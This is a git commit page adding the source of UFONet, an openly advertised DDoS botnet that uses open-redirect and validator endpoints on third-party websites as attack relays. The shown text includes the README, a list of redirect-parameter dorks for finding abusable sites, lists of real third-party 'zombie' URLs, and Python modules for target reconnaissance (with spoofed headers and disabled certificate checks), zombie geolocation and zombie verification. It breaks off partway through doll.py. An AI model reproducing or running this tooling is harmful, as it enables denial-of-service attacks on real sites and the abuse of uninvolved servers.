Browse Source

moved from https://github.com/epsylon/ufonet

psy 1 year ago
parent
commit
ddfe7983af
92 changed files with 32200 additions and 60 deletions
  1. 3 58
      .gitignore
  2. 2 0
      MANIFEST.in
  3. 94 2
      README.md
  4. 1 0
      botnet/aliens.txt
  5. 110 0
      botnet/dorks.txt
  6. 1 0
      botnet/droids.txt
  7. 1 0
      botnet/rpcs.txt
  8. 1 0
      botnet/ucavs.txt
  9. 1 0
      botnet/zombies.txt
  10. 9 0
      core/__init__.py
  11. 226 0
      core/abductor.py
  12. 250 0
      core/ajaxmap.py
  13. 126 0
      core/doll.py
  14. 288 0
      core/herd.py
  15. BIN
      core/images/aliens/alien1.png
  16. BIN
      core/images/aliens/alien2.png
  17. BIN
      core/images/aliens/alien3.png
  18. BIN
      core/images/aliens/alien4.png
  19. BIN
      core/images/aliens/alien5.png
  20. BIN
      core/images/aliens/alien6.png
  21. BIN
      core/images/aliens/alien7.png
  22. BIN
      core/images/aliens/alien8.png
  23. BIN
      core/images/board.png
  24. BIN
      core/images/crew/link1.png
  25. BIN
      core/images/crew/link10.png
  26. BIN
      core/images/crew/link11.png
  27. BIN
      core/images/crew/link12.png
  28. BIN
      core/images/crew/link2.png
  29. BIN
      core/images/crew/link3.png
  30. BIN
      core/images/crew/link4.png
  31. BIN
      core/images/crew/link5.png
  32. BIN
      core/images/crew/link6.png
  33. BIN
      core/images/crew/link7.png
  34. BIN
      core/images/crew/link8.png
  35. BIN
      core/images/crew/link9.png
  36. BIN
      core/images/favicon.ico
  37. BIN
      core/images/mothership.png
  38. 1054 0
      core/inspector.py
  39. 10 0
      core/js/ajaxmap.css
  40. 39 0
      core/js/cluster/MarkerCluster.Default.css
  41. 22 0
      core/js/cluster/MarkerCluster.Default.ie.css
  42. 6 0
      core/js/cluster/MarkerCluster.css
  43. 2015 0
      core/js/cluster/leaflet.markercluster-src.js
  44. 6 0
      core/js/cluster/leaflet.markercluster.js
  45. 6 0
      core/js/jquery-1.10.2.min.js
  46. BIN
      core/js/leaflet/images/layers-2x.png
  47. BIN
      core/js/leaflet/images/layers.png
  48. BIN
      core/js/leaflet/images/marker-icon-2x.png
  49. BIN
      core/js/leaflet/images/marker-icon.png
  50. BIN
      core/js/leaflet/images/marker-shadow.png
  51. BIN
      core/js/leaflet/images/ufonet-zombie.png
  52. 8909 0
      core/js/leaflet/leaflet-src.js
  53. 462 0
      core/js/leaflet/leaflet.css
  54. 51 0
      core/js/leaflet/leaflet.ie.css
  55. 9 0
      core/js/leaflet/leaflet.js
  56. 8111 0
      core/js/raphael.js
  57. 599 0
      core/js/rlayer-src.js
  58. 128 0
      core/js/stars.js
  59. 125 0
      core/js/style.css
  60. 101 0
      core/js/ufo-cloud.css
  61. 442 0
      core/js/ufo.js
  62. 42 0
      core/loic.py
  63. 71 0
      core/loris.py
  64. 3028 0
      core/main.py
  65. 168 0
      core/options.py
  66. 23 0
      core/randomip.py
  67. 101 0
      core/txt/motherships.txt
  68. 95 0
      core/txt/user-agents.txt
  69. 79 0
      core/txt/wafs.txt
  70. 32 0
      core/update.py
  71. 3080 0
      core/webgui.py
  72. 193 0
      core/zombie.py
  73. 465 0
      docs/LEEME.txt
  74. 209 0
      docs/LICENSE
  75. 460 0
      docs/README.txt
  76. 13 0
      docs/VERSION
  77. 20 0
      docs/blackhole.txt
  78. 17 0
      docs/grider.txt
  79. 79 0
      docs/manifesto.txt
  80. 1 0
      docs/release.date
  81. 9 0
      server/__init__.py
  82. 451 0
      server/blackhole.py
  83. 0 0
      server/board.txt
  84. 104 0
      server/crypter.py
  85. 0 0
      server/grid.txt
  86. 181 0
      server/grider.py
  87. 4 0
      server/missions.txt
  88. 1 0
      server/news.txt
  89. 1 0
      server/nodes.dat
  90. 0 0
      server/wargames.txt
  91. 49 0
      setup.py
  92. 16 0
      ufonet

+ 3 - 58
.gitignore

@@ -1,60 +1,5 @@
-# ---> Python
-# Byte-compiled / optimized / DLL files
-__pycache__/
-*.py[cod]
-*$py.class
-
-# C extensions
-*.so
-
-# Distribution / packaging
-.Python
-env/
 build/
-develop-eggs/
 dist/
-downloads/
-eggs/
-.eggs/
-lib/
-lib64/
-parts/
-sdist/
-var/
-*.egg-info/
-.installed.cfg
-*.egg
-
-# PyInstaller
-#  Usually these files are written by a python script from a template
-#  before PyInstaller builds the exe, so as to inject date/other infos into it.
-*.manifest
-*.spec
-
-# Installer logs
-pip-log.txt
-pip-delete-this-directory.txt
-
-# Unit test / coverage reports
-htmlcov/
-.tox/
-.coverage
-.coverage.*
-.cache
-nosetests.xml
-coverage.xml
-*,cover
-
-# Translations
-*.mo
-*.pot
-
-# Django stuff:
-*.log
-
-# Sphinx documentation
-docs/_build/
-
-# PyBuilder
-target/
-
+*~
+ufonet.egg-info/
+*.pyc

+ 2 - 0
MANIFEST.in

@@ -0,0 +1,2 @@
+include docs/*
+include botnet/*

+ 94 - 2
README.md

@@ -1,3 +1,95 @@
-# ufonet
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-main_visor_small.png "UFONet Botnet Control Panel")
 
-UFONet - (DDoS botnet + DoS tool) via Web Abuse.
+----------
+
+ + Web:  https://ufonet.03c8.net
+
+----------
+
+ + FAQ:  https://ufonet.03c8.net/FAQ.html
+
+----------
+
+  UFONet - is a tool designed to launch Layer 7 (HTTP/Web Abuse) DDoS & DoS attacks,
+  using 'Open Redirect' vectors on third part web applications (a botnet).
+
+  See these links for more info:
+
+   - CWE-601:Open Redirect: 
+     https://cwe.mitre.org/data/definitions/601.html
+
+   - OWASP:URL Redirector Abuse: 
+     https://www.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_URL_Redirector_Abuse2
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-schema.png "UFONet Schema")
+
+----------
+
+#### Installing:
+
+  UFONet runs on many platforms.  It requires Python (>2.7.9) and the following libraries:
+
+       python-pycurl - Python bindings to libcurl
+       python-geoip  - Python bindings for the GeoIP IP-to-country resolver library
+       python-whois  - Python module for retrieving WHOIS information - Python 2
+       python-crypto - Cryptographic algorithms and protocols for Python
+       python-requests - elegant and simple HTTP library for Python2, built for human beings
+
+  You can automatically get all required libraries using:
+
+       python setup.py install
+
+  For manual installation, on Debian-based systems (ex: Ubuntu), run: 
+
+       sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests
+
+  On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
+
+       pip install geoip 
+       pip install requests
+       pip install pycrypto
+
+####  Source libs:
+
+   * Python: https://www.python.org/downloads/
+   * PyCurl: http://pycurl.sourceforge.net/
+   * PyGeoIP: https://pypi.python.org/pypi/GeoIP/
+   * PyWhois: https://pypi.python.org/pypi/whois
+   * PyCrypto: https://pypi.python.org/pypi/pycrypto
+   * PyRequests: https://pypi.python.org/pypi/requests
+   * Leaflet: http://leafletjs.com/ (provided)
+
+----------
+
+####  License:
+
+  UFONet is released under the GPLv3. You can find the full license text
+in the [LICENSE](./docs/LICENSE) file.
+
+----------
+
+####  Screenshots (current version!):
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-shell-gui_small.png "UFONet Botnet GUI Shell")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-grid_small.png "UFONet Botnet Grid")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-grid-stats_small.png "UFONet Botnet Grid Stats")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-stats_small.png "UFONet Botnet General Stats")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-board_small.png "UFONet Botnet Board")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-gui3_small.png "UFONet Botnet GeoMap (deploying)")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-attack_visor_small.png "UFONet Attack Visor")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-gui4_small.png "UFONet Botnet GeoMap (attacking)")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-missions_small.png "UFONet Botnet Missions")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-abduction_small.png "UFONet Botnet Abduction")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-warp_small.png "UFONet Botnet Warp")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-tachyon-help_small.png "UFONet Botnet Help")

+ 1 - 0
botnet/aliens.txt

@@ -0,0 +1 @@
+https://api.loadimpact.com/v3/anonymous-test-runs;$POST;url

+ 110 - 0
botnet/dorks.txt

@@ -0,0 +1,110 @@
+proxy.php?url=
+ssl_proxy.php?url=
+urlproxy.php?url=
+jproxy.php?url=
+check.cgi?url=
+checklink?uri=
+validator?uri=
+returl=
+redirect_uri/
+redirect_uri=
+redirect_url=
+redirect?url=
+redirect/?url=
+redirect.php?url=
+redirect=
+redirectUrl=
+redirect_to=
+redirects_to=
+redirect/
+redirect.cgi?
+redirect.html?url=
+redirect.htm?url=
+redirect.html?page=
+redirect.php?blog=
+_redirect=
+redir=
+redir_url=
+redir.php?
+redir.aspx?Url=
+redir.aspx?URL=
+referer=
+referrer/
+derefer/?url=
+derefer.php?go=
+pageurl=
+return=
+returnurl=
+return_url=
+returnTo=
+go=
+go.php?url=
+go.html?url=
+goto=
+goto.php?
+goto.php?url=
+gotoURL.asp?url=
+openfile=
+open=
+page=
+pagina=
+link=
+url=
+uri=
+BackURL=
+backTo=
+PageUrl=
+away.php?s=
+translate?u=
+action=
+type=
+docAddr=
+footerlink=
+checkurl=
+siteurl=
+hostname=
+download/?
+login.php?URL=
+login?r=
+login?url=
+login?redir=
+login?redirect=
+login.php?redirect=
+login_page.php?return=
+Login?goto=
+login/?ref=
+login/?next=
+/out?
+logout?url=
+logout?redir=
+logout?redirect=
+logout.php?redirect=
+logout_page.php?return=
+newurl=
+caption=
+forward=
+externalurl.php?url=
+from_page=
+domain=
+customUrl=
+gotoOnFail=
+current_page=
+from=
+imgurl=
+urlToLoad=
+board_url=
+manager.jsp?url=
+adurl=
+index.php?location=
+location=
+r_url=
+target=
+xoops_redirect=
+redirectAction=
+track.php?next=
+NewForm.aspx?Source=
+urlRedirect.action?fullURL=
+home_url=
+x-urlpath=
+urlforward.aspx?Redir=
+/url/

+ 1 - 0
botnet/droids.txt

@@ -0,0 +1 @@
+http://jigsaw.w3.org/css-validator/validator?uri=$TARGET&profile=css3&usermedium=all&vextwarning=true

+ 1 - 0
botnet/rpcs.txt

@@ -0,0 +1 @@
+http://www.ch-orthez.fr/xmlrpc.php

+ 1 - 0
botnet/ucavs.txt

@@ -0,0 +1 @@
+http://www.downforeveryoneorjustme.com/

+ 1 - 0
botnet/zombies.txt

@@ -0,0 +1 @@
+https://validator.w3.org/check?uri=

+ 9 - 0
core/__init__.py

@@ -0,0 +1,9 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""

+ 226 - 0
core/abductor.py

@@ -0,0 +1,226 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - DDoS Botnet via Web Abuse - 2017 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import urllib, urllib2, ssl, random, socket, time, re
+from urlparse import urlparse
+
+# UFONet recognizance (abduction) class
+class Abductor(object):
+    def __init__(self,ufonet):
+        self.ufonet=ufonet
+        self.start = None
+        self.stop = None 
+        self.port = None
+        self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
+        self.ctx.check_hostname = False
+        self.ctx.verify_mode = ssl.CERT_NONE
+
+    def proxy_transport(self, proxy):
+        proxy_url = self.ufonet.extract_proxy(proxy)
+        proxy = urllib2.ProxyHandler({'https': proxy_url})
+        opener = urllib2.build_opener(proxy)
+        urllib2.install_opener(opener)
+
+    def establish_connection(self, target):
+        if target.endswith(""):
+            target.replace("", "/")
+        self.ufonet.user_agent = random.choice(self.ufonet.agents).strip() # suffle user-agent
+        headers = {'User-Agent' : self.ufonet.user_agent, 'Referer' : self.ufonet.referer} # set fake user-agent and referer
+        try:
+            req = urllib2.Request(target, None, headers)
+            if self.ufonet.options.proxy: # set proxy
+                self.proxy_transport(self.ufonet.options.proxy)
+                self.start = time.time()
+                target_reply = urllib2.urlopen(req).read()
+                header = urllib2.urlopen(req).info()
+                self.stop = time.time()
+            else:
+                self.start = time.time()
+                target_reply = urllib2.urlopen(req, context=self.ctx).read()
+                header = urllib2.urlopen(req).info()
+                self.stop = time.time()
+        except: 
+            print('[Error] - Unable to connect...\n')
+            return #sys.exit(2)
+        return target_reply, header
+
+    def convert_size(self, size):
+        import math
+        if (size == 0):
+            return '0B'
+        size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
+        i = int(math.floor(math.log(size,1024)))
+        p = math.pow(1024,i)
+        s = round(size/p,2)
+        return '%s %s' % (s,size_name[i])
+
+    def convert_time(self, time):    
+        return '%.2f' % time
+
+    def extract_banner(self, header): # extract webserver banner
+        try:
+            banner = header["server"]
+        except:
+            banner = "NOT found!"
+        try:
+            via = header["via"]
+        except: # return when fails performing query
+            via = "NOT found!"
+        return banner, via
+
+    def extract_whois(self, domain): # extract whois data from target domain
+        try:
+            import whois
+            d = whois.query(domain, ignore_returncode=True) # ignore return code
+            if d.creation_date is None: # return when no creation date
+                return
+            else:
+                print " -Registrant   : " + str(d.registrar)
+                print " -Creation date: " + str(d.creation_date)
+                print " -Expiration   : " + str(d.expiration_date)
+                print " -Last update  : " + str(d.last_updated)
+        except: # return when fails performing query
+            return
+
+    def extract_cve(self, banner): # extract Denial of Service vulnerabilities related with webserver banner from CVE database
+        url = 'https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword'
+        q = str(banner)
+        query_string = { '':q}
+        data = urllib.urlencode(query_string)
+        target = url + data
+        try:
+            self.ufonet.user_agent = random.choice(self.ufonet.agents).strip() # suffle user-agent
+            headers = {'User-Agent' : self.ufonet.user_agent, 'Referer' : self.ufonet.referer} # set fake user-agent and referer
+            req = urllib2.Request(target, None, headers)
+            if self.ufonet.options.proxy: # set proxy
+                self.proxy_transport(self.ufonet.options.proxy)
+                target_reply = urllib2.urlopen(req).read()
+            else:
+                target_reply = urllib2.urlopen(req, context=self.ctx).read()
+        except: 
+            return #sys.exit(2)
+        if target_reply == "": # no records found
+            return
+        if "<b>0</b> CVE entries" in target_reply: # regex for: no CVE records found
+            cve = "NOT found!"
+        else:
+            regex_s = '<td valign="top" nowrap="nowrap"><a href="(.+?)">' # regex magics
+            pattern_s = re.compile(regex_s)
+            cve = re.findall(pattern_s, target_reply)
+        return cve
+
+    def waf_detection(self, banner, target_reply):
+        self.wafs_file = "core/txt/wafs.txt" # set source path to retrieve 'wafs'
+        try:
+            f = open(self.wafs_file)
+            wafs = f.readlines()
+            f.close()
+        except:
+            wafs = "broken!"
+        sep = "##"
+        for w in wafs:
+            if sep in w:
+                w = w.split(sep)
+                signature = w[0] # signature
+                t = w[1] # vendor
+        if signature in target_reply or signature in banner:
+            waf = "VENDOR -> " + str(t) 
+        else:
+            waf = "FIREWALL NOT PRESENT (or not discovered yet)! ;-)\n"
+        return waf
+                  
+    def abducting(self, target):
+        try:
+            target_reply, header = self.establish_connection(target)
+        except:
+            print "[Error] - Something wrong connecting to your target. Aborting...\n"
+            return #sys.exit(2)
+        if not target_reply:
+            print "[Error] - Something wrong connecting to your target. Aborting...\n"
+            return #sys.exit(2)
+        print ' -Target URL:', target, "\n"
+        try:
+            if target.startswith("http://"):
+                self.port = "80"
+            if target.startswith("https://"):
+                self.port = "443"
+        except:
+            self.port = "Error!"
+        try:
+            domain = urlparse(target)
+            domain = domain.netloc
+            if domain.startswith("www."):
+                domain = domain.replace("www.", "")
+        except:
+            domain = "OFF"
+        try:       
+            ipv4 = socket.gethostbyname(domain)
+        except:
+            ipv4 = "OFF"
+        try:
+            ipv6 = socket.getaddrinfo(domain, port, socket.AF_INET6)
+            ftpca = ipv6[0]
+            ipv6 = ftpca[4][0]
+        except:
+            ipv6 = "OFF"
+        print ' -IP    :', ipv4
+        print ' -IPv6  :', ipv6
+        print ' -Port  :', self.port
+        print ' \n -Domain:', domain
+        try:
+            whois = self.extract_whois(domain)
+        except:
+            pass
+        try:
+            size = self.convert_size(len(target_reply))
+        except:
+            size = "Error!"
+        try:
+            time_required = self.stop - self.start
+            load = self.convert_time(time_required)
+        except:
+            load = "Error!"
+        try:
+            banner, via = self.extract_banner(header)
+        except:
+            pass
+        print '\n---------'
+        print "\nTrying single visit broadband test (using GET)...\n"
+        print ' -Bytes in :', size
+        print ' -Load time:', load, "seconds\n"
+        print '---------'
+        print "\nDetermining webserver fingerprint (note that this value can be a fake)...\n"
+        print ' -Banner:', banner 
+        print ' -Vía   :', via , "\n"
+        print '---------'
+        print "\nSearching for extra Anti-DDoS protections...\n"
+        waf = self.waf_detection(banner, target_reply)
+        print ' -WAF/IDS: ' +  waf
+        if 'VENDOR' in waf:
+            print ' -NOTICE : This FIREWALL probably is using Anti-(D)DoS measures!', "\n"
+        print '---------'
+        if banner == "NOT found!":
+            pass
+        else:
+            print "\nSearching at CVE (https://cve.mitre.org) for vulnerabilities...\n"
+            try:
+                cve = self.extract_cve(banner)
+                if cve == None:
+                    print ' -Reports: NOT found!', "\n"
+                elif cve == "NOT found!":
+                    print ' -Reports:', cve
+                else:
+                    print ' -Reports:'
+                    for c in cve:
+                        cve_info = c.replace("/cgi-bin/cvename.cgi?name=","")
+                        print "\n        +", cve_info, "->", "https://cve.mitre.org" + c # 8 tab for zen
+                print '\n---------'
+            except:
+                pass
+        print "\n[Info] Abduction finished... ;-)\n"

+ 250 - 0
core/ajaxmap.py

@@ -0,0 +1,250 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import socket, threading, re, base64, os, time
+import webbrowser, subprocess, urllib2, json, sys
+from urlparse import urlparse
+from main import UFONet
+import base64, traceback
+
+try:
+    import pygeoip
+except:
+    print "\nError importing: pygeoip lib. \n\n On Debian based systems:\n\n $ 'sudo apt-get install python-geoip' or 'pip install geoip')\n"
+    sys.exit(2)
+
+class AjaxMap(object):
+    def __init__(self):
+        self._geoip=None
+        self._geoasn=None
+        self._geoipstatus='nomap'
+        self._err=''
+        ufonet = UFONet()
+        ufonet.create_options()
+        self.zombies = ufonet.extract_zombies()
+        aliens_army = ufonet.extract_aliens()
+        droids_army = ufonet.extract_droids()
+        ucavs_army = ufonet.extract_ucavs()
+        rpcs_army = ufonet.extract_rpcs()
+        self.zombies.extend(aliens_army)
+        self.zombies.extend(droids_army)
+        self.zombies.extend(ucavs_army)
+        self.zombies.extend(rpcs_army)
+
+    def get_err(self):
+        return self._err
+
+    # check for geoip data status
+    # basic lock file mechanism to avoid multiple downloads
+    def get_status(self):
+        if os.path.exists('maps.downloading'):
+            if not os.path.exists('maps.downloadmsg'):
+                f=open("maps.downloadmsg","wb")
+                f.write("")
+                f.close()
+                print "[Webgui] GeoIP data download started"
+                print "[Webgui] if this error message persists : remove maps.downloading and maps folder, then restart ufonet"
+            self._geoipstatus='downloading'
+        elif os.path.isdir('maps'):
+            if self._geoip == None :
+                self._geoip = pygeoip.GeoIP('maps/GeoLiteCity.dat')
+            if self._geoasn == None :
+                self._geoasn = pygeoip.GeoIP('maps/GeoIPASNum.dat')
+            if os.path.exists("maps.downloadmsg") :
+                os.remove("maps.downloadmsg")
+            self._geoipstatus='ok'
+        return self._geoipstatus
+
+    def retrieve(self,url,name):
+	try:
+	    handle = urllib2.urlopen(url)
+            CHUNK = 16384
+	    with open(name,'wb') as fp:
+	        while True:
+	            chunk = handle.read(CHUNK)
+	            if not chunk:
+	                break
+	            fp.write(chunk)
+	except:
+	    traceback.print_exc()
+
+    def download_maps(self):
+        import subprocess, shlex
+        # generate geolocation values on a map
+        if self.get_status() != 'nomap':
+            return self._geoipstatus == 'ok'
+        if os.path.exists("maps.downloadmsg"):
+            os.remove("maps.downloadmsg")
+        f=open("maps.downloading",'w')
+        f.write("download started<script>$'('#ufomsg').load('/js/ajax.js?fetchmap=')")
+        f.close()
+        self._geoipstatus="downloading"
+        # download maps folder
+        geo_db_mirror1 = 'http://176.28.23.46/bordercheck/maps.tar.gz'  # Turina Server
+        geo_db_mirror2 = 'http://83.163.232.95/bordercheck/maps.tar.gz' # Mirror
+        try: # mirror 1
+            print "\n[Info] - Fetching maps from 'Mirror 1':", geo_db_mirror1 + "\n"
+            response = self.retrieve(geo_db_mirror1, 'maps.tar.gz')
+        except:
+            try: # mirror 2
+                print "[Error] - Mirror 1':", geo_db_mirror1 + " Failed!\n"
+                print "[Info] - Fetching maps from 'Mirror 2':", geo_db_mirror2 + "\n"
+                response = self.retrieve(geo_db_mirror2, 'maps.tar.gz')
+            except:
+                print("[Error] - Something wrong fetching maps from mirrors ...Aborting!"), "\n"
+		traceback.print_exc()
+                return False #sys.exit(2)
+        subprocess.call(shlex.split('tar zxfv maps.tar.gz'))
+        print "\n[Info] GeoIP maps and databases: ready!\n"
+        # set pygeoip data sources
+        self._geoip = pygeoip.GeoIP('maps/GeoLiteCity.dat')
+        self._geoasn = pygeoip.GeoIP('maps/GeoIPASNum.dat')
+        self._geoipstatus='ok'
+        os.remove('maps.tar.gz')
+        os.remove('maps.downloading')
+        return True
+
+    # fetches geoip data for specified zombie
+    def geo_ip(self, zombie):
+        # check for status, downloading is done by ajax() method
+        if self.get_status() != 'ok':
+            if self._geoipstatus =='downloading':
+                print "\n[Info] GeoIP maps and databases: downloading\n"
+	        self._err= "ufomsg('Downloading maps...')"
+            elif not os.path.exists('maps/GeoIPASNum.dat') or not os.path.exists('maps/GeoLiteCity.dat'):
+                print "\n[Info] GeoIP maps and databases: download starting!\n"
+                self._err= "ufomsg('[Info] Map download starting')\n$('#ufomsg').load('/js/ajax.js?fetchgeoip=')"
+            else:
+                print "\n[Info] GeoIP maps and databases: unknown error\n"
+                self._err= "ufomsg('<font color='red'>[Info]</font> Maps: unknown error...')"
+            return None
+        if re.match(r'^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$', zombie) or re.match(r'^10\.\d{1,3}\.\d{1,3}\.\d{1,3}$', zombie) or re.match(r'^192.168\.\d{1,3}\.\d{1,3}$', zombie) or re.match(r'^172.(1[6-9]|2[0-9]|3[0-1]).[0-9]{1,3}.[0-9]{1,3}$', zombie) or re.match('localhost', zombie):
+            self._err= "ufomsg('<font color='red'>[Info]</font> Maps: invalid ip data...')"
+            return None
+        # create geoip data skeleton
+        geo_zombie={}
+        geo_zombie['qq']=zombie
+        url = urlparse(zombie)
+        geo_zombie['city'] = '-'
+        geo_zombie['country'] = '-'
+        geo_zombie['country_code'] = '-'
+        geo_zombie['longitude'] = '-'
+        geo_zombie['latitude'] = '-'
+        geo_zombie['ip'] = '-'
+        geo_zombie['host_name'] = '-'
+        geo_zombie['asn'] = '-'
+        geo_zombie['latitude'] = '-'
+        # retrieve and allocate geoip data
+        try:
+            ip = socket.gethostbyname(url.netloc)
+        except:
+            self._err= "ufomsg('<font color='yellow'>[Info]</font> GeoIP: hostbyname failed for "+str(url.netloc)+"...')"
+            return None
+        if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",ip):
+            geo_zombie['ip'] = ip
+            try:
+                record = self._geoip.record_by_addr(ip)
+            except:
+                self._err= "ufomsg('<font color='yellow'>[Info]</font> GeoIP: lookup failed for "+ip+", page reload required...')"
+                return None
+            try:
+                asn = self._geoasn.org_by_addr(ip)
+                if asn is not None:
+                    geo_zombie['asn'] = asn.encode('utf-8')
+            except:
+                geo_zombie['asn'] = 'No ASN provided'
+            try:
+                geo_zombie['host_name'] = socket.gethostbyaddr(ip)[0].encode('utf-8')
+            except:
+                geo_zombie['host_name'] = 'No hostname'
+            try:
+                longitude = str(float(record['longitude']))
+                geo_zombie['longitude'] = longitude
+                latitude = str(float(record['latitude']))
+                geo_zombie['latitude'] = latitude
+            except:
+                pass
+            try:
+                geo_zombie['country'] = record["country_name"].encode('utf-8')
+                geo_zombie['country_code'] = record["country_code"].lower().encode('utf-8')
+                if record['city'] is not None:
+                    geo_zombie['city'] = record["city"].encode('utf-8')
+            except:
+                pass
+        return geo_zombie
+
+    # generates javascript for adding a new zombie with geoip data
+    def get_js(self,z):
+        ret = ""
+        gz = self.geo_ip(z)
+        if gz is not None and gz['latitude']!= '-':
+            ret = "Zombies.add('"+z+"',Array(new L.LatLng("+str(gz['latitude'])+","+str(gz['longitude'])+"),'"+gz['city']+"','"+gz['country']+"','"+gz['country_code']+"','"+gz['asn']+"','"+gz['ip']+"','"+gz['host_name']+"'))\n"
+        else:
+            #print 'geozombie dead : ',z
+            ret += "dead_zombies.push('"+z+"')\n"
+        ret += "last_zombie = '"+z+"'\n"
+        return ret
+
+    # fetches next zombie from list (using all types of zombies)
+    def get_next_zombie(self,name):
+        if name in self.zombies:
+            for z in self.zombies:
+                if name == None:
+                    return z
+                if z == name:
+                    name = None
+            return None
+        else:
+            return self.zombies[0]
+
+    # ajax controller
+    def ajax(self,pGet={}):
+        if 'fetchgeoip' in pGet.keys():
+            if self.get_status() == "nomap":
+                self.download_maps()
+                return "[Info] Geoip data download done!<br/>"
+        if 'stats' in pGet.keys():
+            stat='<script>$(".ufo_stat_div").show()</script>'
+            if os.path.exists('/tmp/ufonet.html'):
+                for x in open(r'/tmp/ufonet.html').readlines():
+                    stat = stat + x
+            else:
+                stat="<i>[Info] Waiting for statistics generation...</i>"
+            return stat+"</div>"
+        if self.get_status() != "ok":
+            dljs=""
+            if self.get_status() == "nomap":
+                dljs+="$('#ufomsg').load('/js/ajax.js?fetchgeoip=')\n"
+            if 'doll' in pGet.keys():
+                dljs+="$('#ufomsg').load('/js/ajax.js?fetchdoll="+pGet['doll']+"')\n"
+                dljs+="doll=new Doll('"+pGet["doll"]+"')\n"
+            return "[Info] GeoIP data download in progress...<br><i>see console for errors</i>+<script>"+dljs+"</script>"
+        if 'zombie' in pGet.keys():
+            zn=base64.b64decode(pGet['zombie'])
+            nzn=self.get_next_zombie(zn)
+            if nzn is not None:
+                zombie=self.get_js(nzn)
+                return """ <script>
+                """+zombie+"""
+                ufomsg('[Info] Adding zombie: """+nzn+"""...')
+                </script>"""
+            else:
+                return "<script>zdone=true\nufomsg('[Info] All zombies deployed!...')\n </script>\n"
+        if 'fetchdoll' in pGet.keys():
+            tn=pGet['fetchdoll']
+            target = self.geo_ip(tn)
+            if target is None:
+                return "doll waiting for geoip data !"
+            return """ doll up !<script>
+doll.setData(Array(new L.LatLng("""+str(target['latitude'])+","+str(target['longitude'])+"),'"+target['city']+"','"+target['country']+"','"+target['country_code']+"','"+target['asn']+"','"+target['ip']+"','"+target['host_name']+"'))\nufomsg('[Info] Adding target: """+tn+"""...')\ndoll.show() </script>"""
+        if 'doll' in pGet.keys():
+            tn=pGet['doll']
+            return """<script>
+doll=new Doll('"""+tn+"""')\n</script>"""
+        return "\n"

+ 126 - 0
core/doll.py

@@ -0,0 +1,126 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+from threading import Thread
+import socket, time, os, base64, re, urlparse
+
+class Needle(Thread):
+    def __init__(self, client, addr, parent):
+        Thread.__init__(self)
+        self.daemon = True
+        self.client = client
+        self.parent = parent
+
+    def run(self):
+        data = self.client.recv(1024)
+        if data:
+            if data.startswith("HEAD"):
+                self.parent.data_arrived(data)
+                self.client.send("""HTTP/1.1 200 OK
+Server: UFONet Galactic Cyber Warfare
+Date: Wed, 05 Nov 2042 16:21:23 GMT
+Content-Type: text/html
+Content-Length: """+str(len('thanks for coming!'))+"""
+Connection: close
+
+""")
+                self.client.close()
+            else:
+                self.parent.data_arrived(data)
+                self.client.send('Welcome to UFONet mothership! ;-)\n')
+                self.client.send('='*40)
+                self.client.send("\n\nStream:\n")
+                self.client.send('-'*15 + "\n\n")
+                f = open("mothership", 'r') # read mothership stream
+                self.client.send(str(f.read()))
+                f.close()
+                self.client.close()
+        self.parent.client_finished(self)
+
+class Doll(Thread):
+    def __init__(self, parent):
+        Thread.__init__(self)
+        self.daemon = True
+        self._clients = []
+        self._armed = True
+        self.ready = False
+        self.running =False
+        self.parent = parent
+        self.real_zombies = [] # 100% vulnerable zombies
+        if os.path.exists('mothership') == True:
+            os.remove('mothership') # remove mothership stream 
+        with open('alien') as f: # call alien to verify vulnerability
+            self.alien = f.read().splitlines()
+        f.close()
+
+    def data_arrived(self, data):
+        data.split("\n")[0]
+        self.check_zombie(data)
+        f = open("mothership", 'a') # append data mothership stream
+        f.write(data)
+        f.close()
+
+    def check_zombie(self, data): # check for requests received by a zombie
+        if str(''.join(self.alien)) in data: # hash check
